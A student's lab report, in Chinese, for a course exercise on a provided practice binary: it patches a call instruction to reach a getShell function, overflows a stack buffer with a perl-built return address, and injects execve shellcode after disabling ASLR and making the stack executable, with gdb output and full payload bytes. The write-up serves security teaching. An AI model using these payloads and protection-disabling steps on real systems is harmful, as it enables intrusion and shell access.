2019-2020-2 网络对抗技术 20175318 Exp1 PC平台逆向破解

实验准备

  1. 首先在gitee上下载老师提供的pwn1文件。
  2. pwn1文件通过共享文件夹传到kali上以便使用。
  3. pwn1文件复制到主目录下,并进行备份cp pwn1 pwn0

知识点概括

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令的机器码是“90”
    JNE汇编指令的机器码是“75”
    JE 汇编指令的机器码是“74”
    JMP汇编指令的机器码是“eb”
    CMP汇编指令的机器码是“39”

  2. 掌握反汇编与十六进制编程器

  3. 能正确修改机器指令改变程序执行流程

  4. 能正确构造payload进行bof攻击

任务一 直接修改程序机器指令,改变程序执行流程

通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo函数时,跳转到getshell函数,从而运行getshell函数。

1. 输入指令objdump -d pwn1 | more反汇编pwn1文件。



call指令的机器码为e8,其跳转的位置为寄存器EIP的值+call 指令后面的立即数。
我们可以看出call 8048491 是将调用位于地址8048491处的foo函数,该指令的机器码为 e8 d7 ff ff ff
其中foo函数的地址为 08048491,getshell函数的地址为 0804847d,通过计算其对应关系(小端机器):

扫描二维码关注公众号,回复: 9482172 查看本文章

0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址

所以我们只需将其中的call指令的目标地址由d7ffffff变为c3ffffff。

2. 输入指令vi pwn1打开文件。

打开之后我们会看到文件以ASCII码的形式出现

所以我们要输入命令让其转换为16进制表示

:%!xxd

3. 通过/e8d7查找要修改的内容

可以看出,使用/e8d7命令并没有找到我们需要找的地方,这是因为e8 和 d7 是分开的,我们要找/d7ff

4. 找到后,输入i进入插入模式,将d7修改为c3

查看我们修改的地方前后的代码,发现没有问题,就是我们需要的修改的地方。

5. 输入:%!xxd -r将文件转换为ASCII码形式,输入:wq保存并退出

6. 这时候,我们再反汇编pwn1文件,查看是否修改成功。
输入objdump -d pwn1 | more,查看当前反汇编情况。

可以看到程序已经被我们修改成跳转到getshell函数了。
7. 运行pwn1文件和pwn0文件(pwn1文件是被修改过的,pwn0文件是未被修改过的),可以发现两个文件的运行结果不同。

实验成功。

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

1. 反汇编,了解程序的基本功能
输入指令objdump -d pwn0 | more查看,计算要达到缓冲区溢出说需要输入的字符数

root@LHR-kali:~/文档/Network20175318/Exp1# objdump -d pwn0 | more

 8048472:       e9 79 ff ff ff          jmp    80483f0 <register_tm_clones>
 8048477:       90                      nop
 8048478:       e9 73 ff ff ff          jmp    80483f0 <register_tm_clones>

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave  
 8048490:       c3                      ret    

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret    

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax
 80484bf:       c9                      leave  
 80484c0:       c3                      ret    
 80484c1:       66 90                   xchg   %ax,%ax
 80484c3:       66 90                   xchg   %ax,%ax
 80484c5:       66 90                   xchg   %ax,%ax
 80484c7:       66 90                   xchg   %ax,%ax
 80484c9:       66 90                   xchg   %ax,%ax
 80484cb:       66 90                   xchg   %ax,%ax
 80484cd:       66 90                   xchg   %ax,%ax
 80484cf:       90                      nop

080484d0 <__libc_csu_init>:
 80484d0:       55                      push   %ebp

可以推测,需要输入的字节大约在32字节,下面对其进行验证

2. 确认输入字符串哪几个字符会覆盖到返回地址
另外开启一个终端,对pwn0进行gdb调试,输入字符串1111111122222222333333334444444412345555,观察一下各寄存器的值

可以发现,如果输入字符串1111111122222222333333334444444412345555,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,只要把这里的代码换成getshell的内存地址,输给pwn0,pwn0就会运行getshell。
由图可以知道getshell的地址为

root@LHR-kali:~/文档/Network20175318/Exp1# objdump -d pwn0 | more
0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave  
 8048490:       c3                      ret    

3. 确认用什么值来覆盖返回地址
getshell函数的地址为:0x0804847d

fs             0x0                 0
gs             0x63                99
(gdb) break *0x804849d
Breakpoint 1 at 0x804849d
(gdb) info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x0804849d <foo+12>
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/文档/Network20175318/Exp1/pwn0 

Breakpoint 1, 0x0804849d in foo ()
(gdb) 

正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08

4. 构造输入字符串
因为我们无法通过键盘输入十六进制的值,所以我们先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF

root@LHR-kali:~/文档/Network20175318/Exp1# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF

我们可以通过xxd BOF命令查看我们创建的文件:

通过管道符|,作为pwn0的输入,格式为(cat BOF; cat ) | ./pwn0

实验成功。

任务三 注入Shellcode并运行攻击

shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

1. 准备工作

  1. 输入指令apt-get install execstack安装execstack,并设置堆栈可执行:
execstack -s pwn2    //设置堆栈可执行
execstack -q pwn2    //查询文件的堆栈是否可执行
  1. 关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space        //关闭随机化

(“2”为开启,“0”为关闭)

2. 构造要注入的payload

  1. 我们需要注入一段代码,我们首先构造一个input(参考老师给的代码)
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input
  1. 在一个窗口运行(cat input;cat) | ./pwn2

  2. 在另外一个窗口ps -ef | grep pwn能看见当前运行pwn2的进程号为3019;

  3. 在gdb里面attach 3019进行调试

  4. 使用disassemble foo反编译

  5. 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
root@LHR-kali:~/文档/Network20175318/Exp1# gdb pwn2

(gdb) attach 3019
Attaching to program: /root/文档/Network20175318/Exp1/pwn2, process 3019
Reading symbols from /lib/i386-linux-gnu/libc.so.6...
(No debugging symbols found in /lib/i386-linux-gnu/libc.so.6)
Reading symbols from /lib/ld-linux.so.2...
(No debugging symbols found in /lib/ld-linux.so.2)
0xf7fd3b59 in __kernel_vsyscall ()
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x08048491 <+0>:     push   %ebp
   0x08048492 <+1>:     mov    %esp,%ebp
   0x08048494 <+3>:     sub    $0x38,%esp
   0x08048497 <+6>:     lea    -0x1c(%ebp),%eax
   0x0804849a <+9>:     mov    %eax,(%esp)
   0x0804849d <+12>:    call   0x8048330 <gets@plt>
   0x080484a2 <+17>:    lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>:    mov    %eax,(%esp)
   0x080484a8 <+23>:    call   0x8048340 <puts@plt>
   0x080484ad <+28>:    leave  
   0x080484ae <+29>:    ret    
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) 
  1. 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

  2. 再在gdb调试的终端输入c继续运行程序

  3. info r esp查看esp寄存器地址

  4. x/16x 0xffffd38c以16进制形式查看0xffffd38c地址后面16字节的内容

  5. 从上图中看到01020304所在的地址为0xffffd38c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd38c + 0x00000004 = 0xffffd390。随后退出gdb调试。

12.修改注入代码的覆盖地址

perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input

13.输入命令(cat input;cat) | ./pwn2

实验成功。

遇到的问题及解决方法
1.bash: ./pwn0: 权限不够

答:我试了学长的办法,https://www.cnblogs.com/zl20154312/p/8511455.html,安装完成后依然无法运行。
我思考了一下,权限不够以前在运行脚本时候出现过,所以我试了试chmod +x pwn0

问题得到解决。

实验收获与感想
实验收获:
这次实验是网络攻防技术的第一次实验,以前没有了解过这方面的知识,上学期的《信息安全技术》中提到了缓冲区溢出攻击。这次实验课前学习视频让我对缓冲区溢出攻击有了初步的了解,并且做实验中,看老师的指导,也学会了缓冲区溢出攻击的原理和基本步骤。所谓缓冲区溢出攻击就是利用缓冲区溢出漏洞所进行的攻击行动;我们向程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。我们要掌握好基础知识,为以后学习网络攻防打下良好的基础。
但是当我们学习了网络攻防知识后,我们要正确利用学到的东西,不能将这些知识用于非法领域,“kali学得好,监狱进的早”
互联网不是法外之地!

什么是漏洞?漏洞有什么危害?
漏洞应该就是硬件或软件上存在的可以被非法利用的部分,这些部分一般不会被人察觉,一旦被不法分子发现,他们就会通过漏洞进行非法操作。所以也就有擅长网络系统安全的工程师“白帽子”提前发现漏洞,及时提交给公司或部门,及时修复漏洞,提升安全等级。昨天我网站刚备案好,晚上就被一个朋友打了。

漏洞可以让数据遭到破坏,程序崩溃,甚至可以执行任何恶意代码,我们要加强自己的系统安全等级,免得漏洞的打扰。

参考资料
汇编指令机器码对照

猜你喜欢

转载自www.cnblogs.com/L1079991001/p/12382016.html